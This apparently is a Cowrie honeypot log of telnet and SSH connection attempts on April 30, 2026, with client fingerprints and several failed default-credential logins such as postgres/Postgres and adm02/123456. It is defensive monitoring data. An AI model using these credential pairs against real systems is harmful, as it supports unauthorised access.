{"eventid":"cowrie.session.connect","src_ip":"131.222.250.52","src_port":47019,"dst_ip":"159.203.135.109","dst_port":23,"session":"680d64a58be0","protocol":"telnet","message":"New connection: 131.222.250.52:47019 (159.203.135.109:23) [session: 680d64a58be0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:17.643715Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":35750,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b88f5c40b1d","protocol":"telnet","message":"New connection: 68.183.214.245:35750 (10.17.0.5:23) [session: 7b88f5c40b1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:35.238322Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":36528,"dst_ip":"10.17.0.5","dst_port":23,"session":"6af52eef8506","protocol":"telnet","message":"New connection: 68.183.214.245:36528 (10.17.0.5:23) [session: 6af52eef8506]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:38.216841Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":36548,"dst_ip":"10.17.0.5","dst_port":23,"session":"d502b715ceac","protocol":"telnet","message":"New connection: 68.183.214.245:36548 (10.17.0.5:23) [session: d502b715ceac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:38.242861Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":36968,"dst_ip":"10.17.0.5","dst_port":23,"session":"2d57bc243188","protocol":"telnet","message":"New connection: 68.183.214.245:36968 (10.17.0.5:23) [session: 2d57bc243188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:40.213658Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":36972,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c75a21f0a19","protocol":"telnet","message":"New connection: 68.183.214.245:36972 (10.17.0.5:23) [session: 4c75a21f0a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:40.221980Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"fcbe1234e5fc","protocol":"telnet","message":"New connection: 68.183.214.245:37286 (10.17.0.5:23) [session: fcbe1234e5fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:41.318520Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":37468,"dst_ip":"10.17.0.5","dst_port":23,"session":"870f629ee6cc","protocol":"telnet","message":"New connection: 68.183.214.245:37468 (10.17.0.5:23) [session: 870f629ee6cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:42.251170Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":37754,"dst_ip":"10.17.0.5","dst_port":23,"session":"0a0cd072505f","protocol":"telnet","message":"New connection: 68.183.214.245:37754 (10.17.0.5:23) [session: 0a0cd072505f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:43.271641Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":38142,"dst_ip":"10.17.0.5","dst_port":23,"session":"612b84987edf","protocol":"telnet","message":"New connection: 68.183.214.245:38142 (10.17.0.5:23) [session: 612b84987edf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:45.238756Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33144,"dst_ip":"159.203.135.109","dst_port":22,"session":"718a55246fc9","protocol":"ssh","message":"New connection: 159.203.92.129:33144 (159.203.135.109:22) [session: 718a55246fc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:47.777849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:47.782877Z","src_ip":"159.203.92.129","session":"718a55246fc9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:47.791107Z","src_ip":"159.203.92.129","session":"718a55246fc9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adine","password":"adine","message":"login attempt [adine/adine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:47.803853Z","src_ip":"159.203.92.129","session":"718a55246fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":38672,"dst_ip":"10.17.0.5","dst_port":23,"session":"0be4ddcae776","protocol":"telnet","message":"New connection: 68.183.214.245:38672 (10.17.0.5:23) [session: 0be4ddcae776]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:48.244736Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:48.811288Z","src_ip":"159.203.92.129","session":"718a55246fc9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":39496,"dst_ip":"10.17.0.5","dst_port":23,"session":"11618e46f1ef","protocol":"telnet","message":"New connection: 68.183.214.245:39496 (10.17.0.5:23) [session: 11618e46f1ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:51.262606Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":39528,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c78595d3107","protocol":"telnet","message":"New connection: 68.183.214.245:39528 (10.17.0.5:23) [session: 5c78595d3107]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:51.316846Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":41582,"dst_ip":"10.17.0.5","dst_port":23,"session":"f605f1802696","protocol":"telnet","message":"New connection: 68.183.214.245:41582 (10.17.0.5:23) [session: f605f1802696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:58.202031Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":41936,"dst_ip":"10.17.0.5","dst_port":23,"session":"132e264a7ada","protocol":"telnet","message":"New connection: 68.183.214.245:41936 (10.17.0.5:23) [session: 132e264a7ada]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:40:59.209267Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.214.245","src_port":42876,"dst_ip":"10.17.0.5","dst_port":23,"session":"c01c72df48d8","protocol":"telnet","message":"New connection: 68.183.214.245:42876 (10.17.0.5:23) [session: c01c72df48d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:01.855388Z"}
{"eventid":"cowrie.session.closed","duration":30.84039545059204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:06.078611Z","src_ip":"68.183.214.245","session":"7b88f5c40b1d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.836915016174316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:09.079652Z","src_ip":"68.183.214.245","session":"d502b715ceac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.876953840255737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:09.093686Z","src_ip":"68.183.214.245","session":"6af52eef8506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.247.23.131","src_port":46598,"dst_ip":"159.203.135.109","dst_port":22,"session":"d9a54bf6f9c8","protocol":"ssh","message":"New connection: 117.247.23.131:46598 (159.203.135.109:22) [session: d9a54bf6f9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:10.805789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:10.810537Z","src_ip":"117.247.23.131","session":"d9a54bf6f9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.827311754226685,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:11.049148Z","src_ip":"68.183.214.245","session":"4c75a21f0a19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951821327209473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:11.165129Z","src_ip":"68.183.214.245","session":"2d57bc243188","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:11.731432Z","src_ip":"117.247.23.131","session":"d9a54bf6f9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.807651042938232,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:12.126028Z","src_ip":"68.183.214.245","session":"fcbe1234e5fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.799161911010742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:13.050236Z","src_ip":"68.183.214.245","session":"870f629ee6cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.842912435531616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:14.114446Z","src_ip":"68.183.214.245","session":"0a0cd072505f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"Postgres","message":"login attempt [postgres/Postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:14.484819Z","src_ip":"117.247.23.131","session":"d9a54bf6f9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.843889713287354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:16.082530Z","src_ip":"68.183.214.245","session":"612b84987edf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"5.6","message":"Connection lost after 5.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:16.406993Z","src_ip":"117.247.23.131","session":"d9a54bf6f9c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89143395423889,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:19.136059Z","src_ip":"68.183.214.245","session":"0be4ddcae776","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.743099212646484,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:22.059817Z","src_ip":"68.183.214.245","session":"5c78595d3107","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80256199836731,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:22.065068Z","src_ip":"68.183.214.245","session":"11618e46f1ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.892178297042847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:29.094069Z","src_ip":"68.183.214.245","session":"f605f1802696","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921797513961792,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:30.130952Z","src_ip":"68.183.214.245","session":"132e264a7ada","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48292,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3b78811dc41","protocol":"ssh","message":"New connection: 159.203.92.129:48292 (159.203.135.109:22) [session: f3b78811dc41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:30.895056Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:30.899639Z","src_ip":"159.203.92.129","session":"f3b78811dc41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:30.903989Z","src_ip":"159.203.92.129","session":"f3b78811dc41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm02","password":"123456","message":"login attempt [adm02/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:30.926143Z","src_ip":"159.203.92.129","session":"f3b78811dc41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:31.936260Z","src_ip":"159.203.92.129","session":"f3b78811dc41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.254910945892334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:41:32.110143Z","src_ip":"68.183.214.245","session":"c01c72df48d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00884509086609,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:09.613884Z","src_ip":"167.250.105.129","session":"15478a631f29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50076,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d5de9c27c87","protocol":"ssh","message":"New connection: 159.203.92.129:50076 (159.203.135.109:22) [session: 8d5de9c27c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:12.703521Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:12.708471Z","src_ip":"159.203.92.129","session":"8d5de9c27c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:12.713944Z","src_ip":"159.203.92.129","session":"8d5de9c27c87","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adm02","password":"adm02","message":"login attempt [adm02/adm02] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:12.725209Z","src_ip":"159.203.92.129","session":"8d5de9c27c87","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:13.732445Z","src_ip":"159.203.92.129","session":"8d5de9c27c87","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.250.105.129","src_port":17054,"dst_ip":"159.203.135.109","dst_port":23,"session":"c46ace94e202","protocol":"telnet","message":"New connection: 167.250.105.129:17054 (159.203.135.109:23) [session: c46ace94e202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:17.131645Z"}
{"eventid":"cowrie.session.closed","duration":120.00116491317749,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:17.644765Z","src_ip":"131.222.250.52","session":"680d64a58be0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"131.222.250.52","src_port":53173,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c5c78d338a","protocol":"telnet","message":"New connection: 131.222.250.52:53173 (159.203.135.109:23) [session: 87c5c78d338a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:18.167000Z"}
{"eventid":"cowrie.session.connect","src_ip":"210.57.229.52","src_port":2263,"dst_ip":"10.17.0.5","dst_port":23,"session":"96b86c5fe7c8","protocol":"telnet","message":"New connection: 210.57.229.52:2263 (10.17.0.5:23) [session: 96b86c5fe7c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:46.450567Z"}
{"eventid":"cowrie.session.connect","src_ip":"20.241.4.216","src_port":33528,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d9082f2f3d0","protocol":"telnet","message":"New connection: 20.241.4.216:33528 (10.17.0.5:23) [session: 7d9082f2f3d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:49.144484Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51190,"dst_ip":"159.203.135.109","dst_port":22,"session":"89663343cd3c","protocol":"ssh","message":"New connection: 159.203.92.129:51190 (159.203.135.109:22) [session: 89663343cd3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T13:42:52.500647Z"}
